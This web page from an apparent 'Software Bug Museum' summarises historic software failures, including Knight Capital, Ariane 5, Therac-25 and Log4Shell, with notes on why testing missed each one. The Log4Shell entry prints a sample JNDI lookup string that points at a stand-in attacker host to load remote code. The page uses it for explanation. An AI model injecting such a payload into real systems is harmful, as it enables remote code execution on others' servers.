The Software Bug Museum
Real defects that changed history. Explore deep post-mortems, root cause analyses, and the automated tests that would have caught them.
Knight Capital: The $440 Million 45-Minute Deployment Bug
What Happened?
On August 1, 2012, Knight Capital deployed new automated market-making software to 8 servers. An engineer forgot to copy the updated code to server #8. When the market opened, server #8 repurposed an old test flag to trigger obsolete 'Power Peg' test code, rapidly buying high and selling low across 148 stocks, losing $440 million in 45 minutes.
Why Testing Missed It
Deployment was executed manually with no automated cluster consistency verification. Dead code remained in the codebase for 9 years behind recycled boolean flags.
CrowdStrike 2024: Channel File 291 Kernel Crash
What Happened?
In July 2024, a rapid configuration update (Channel File 291) deployed to 8.5 million Windows machines. The kernel driver attempted to read memory beyond the allocated array buffer due to a 21st input field matching an unexpected pattern, causing widespread Windows Blue Screen of Death (BSOD) loops.
Why Testing Missed It
Configuration data files were treated as 'content' rather than executable code, bypassing staging canary rollouts and automated kernel-mode fuzz testing.
Ariane 5: The $370M Integer Overflow Explosion
What Happened?
In 1996, the maiden flight of the Ariane 5 rocket exploded 37 seconds after launch. A 64-bit floating-point horizontal velocity value was converted to a 16-bit signed integer in the inertial reference software. The higher velocity exceeded 32,767, triggering an unhandled hardware trap that swerved the rocket engines off course.
Why Testing Missed It
The software module was copied directly from the older Ariane 4 rocket without re-evaluating trajectory velocity assumptions for the more powerful Ariane 5.
Mars Climate Orbiter: The Metric vs Imperial Unit Defect
What Happened?
In 1999, NASA's $327 million Mars Climate Orbiter burned up in the Martian atmosphere. Ground software generated thruster impulse data in English units (Pound-force seconds), while onboard spacecraft navigation expected international metric units (Newton-seconds), causing a 170 km trajectory error.
Why Testing Missed It
End-to-end interface contract testing between ground control and spacecraft software was not executed under real telemetry simulation.
Healthcare.gov 2013: Launch Day Concurrency Database Lockup
What Happened?
On October 1, 2013, Healthcare.gov launched with massive public interest. Only 6 people managed to sign up on day one. The system required mandatory account creation and synchronous credit verification before browsing plans, bottlenecking on single-threaded database table locks.
Why Testing Missed It
Load testing was only performed on individual isolated components, never as an end-to-end synchronous user journey under concurrent peak loads.
Therac-25: The Race Condition That Killed
What Happened?
Between 1985 and 1987, the Therac-25 radiation therapy machine delivered massive overdoses of radiation to at least six patients, several fatally. A race condition let a skilled operator switch the machine from its low-power X-ray setup to high-power electron-beam mode by editing treatment parameters and pressing 'Enter' fast enough — a window of roughly 8 seconds — while the beam-flattening attenuator was still out of position, exposing patients to a beam up to 100 times the intended dose.
Why Testing Missed It
The race condition only manifested for fast, experienced data-entry operators — testers and QA staff typed more slowly and never landed inside the timing window. Earlier models had a hardware interlock as a backup; Therac-25 removed it and relied on software alone.
Citigroup's $900 Million Fat-Finger Payment
What Happened?
In August 2020, Citibank — acting as administrative agent on a Revlon syndicated loan — intended to pay lenders only the interest due (about $7.8 million). Instead, its loan-processing system sent the full outstanding principal: roughly $900 million. Some lenders returned the funds; others refused, triggering a major lawsuit that took years to resolve.
Why Testing Missed It
The internal system required staff to manually mark specific fields so a payment stayed 'washed' internally rather than actually leaving the bank — a routine interest payment required deliberately working around an interface built for a different transaction shape. Three separate reviewers were required to sign off, and all three missed the same misconfigured field.
Log4Shell: When a Logging Library Became an RCE
What Happened?
In December 2021, a critical vulnerability (CVE-2021-44228) was disclosed in Apache Log4j, one of the most widely used Java logging libraries. Log4j would evaluate special lookup strings like `${jndi:ldap://attacker.com/a}` found anywhere in logged input — an HTTP header, a username, a chat message — and could be tricked into loading and executing attacker-controlled code. Because Log4j sat transitively inside an enormous number of Java applications, this became one of the most widespread, severe vulnerabilities in software history, forcing emergency patching industry-wide within days.
Why Testing Missed It
Logging was treated as a low-risk utility that 'just writes text,' so it never received the same input-sanitization scrutiny applied to obviously user-facing fields. A powerful, rarely-used feature — JNDI lookups inside log messages — had shipped enabled by default for years before anyone recognized the security implication.